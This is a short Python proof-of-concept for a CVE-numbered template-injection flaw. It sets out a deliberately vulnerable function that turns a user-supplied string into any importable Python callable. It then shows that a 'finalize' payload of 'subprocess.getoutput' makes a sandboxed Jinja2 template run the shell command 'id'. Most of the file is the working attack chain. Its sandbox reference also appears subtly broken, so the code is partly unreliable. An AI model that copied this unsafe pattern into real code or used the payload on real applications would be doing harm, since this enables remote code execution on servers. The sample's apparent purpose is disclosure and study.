Vulnerable code sample

import importlib
import jinja2
import subprocess

# This function represents the vulnerable logic in RenderTemplateMixin.get_environment_params()
# before the patch for CVE-2023-29514 was applied.
def get_environment_params(user_provided_data):
    """
    Unsafely resolves string-specified callables from user-provided data.
    """
    params = {}

    # The vulnerability lies in trusting the user-provided string for 'finalize'.
    if 'finalize' in user_provided_data and isinstance(user_provided_data['finalize'], str):
        module_name, callable_name = user_provided_data['finalize'].rsplit('.', 1)
        try:
            # Dynamically import the module specified by the user.
            module = importlib.import_module(module_name)
            
            # Unsafely get the function from the module and assign it to the 'finalize' parameter.
            # This allows an attacker to specify any importable Python function.
            params['finalize'] = getattr(module, callable_name)
        except (ImportError, AttributeError):
            # In the actual application, this might fail silently.
            pass
            
    return params

# --- Proof-of-Concept Demonstration ---

# 1. An attacker provides a malicious payload via a field like 'environment_params'
#    on an object they have permission to edit (e.g., an ExportTemplate).
attacker_payload = {
    'finalize': 'subprocess.getoutput'
}

# 2. The application's backend calls the vulnerable function with the attacker's data.
environment_settings = get_environment_params(attacker_payload)

# 3. A Jinja2 SandboxedEnvironment is created with the malicious 'finalize' hook.
#    The SandboxedEnvironment is supposed to prevent unsafe operations, but the 'finalize'
#    parameter is a configuration that bypasses the sandbox's template-level security.
env = jinja2.SandboxedEnvironment(**environment_settings)

# 4. A template is rendered. The content of the expression ('id' in this case) is passed
#    to the malicious 'finalize' function before being rendered.
#    This triggers `subprocess.getoutput('id')`.
template = env.from_string("Request processed for user: {{ 'id' }}")
rendered_output = template.render()

# 5. The output of the arbitrary command is injected into the rendered template,
#    confirming remote code execution.
print(rendered_output)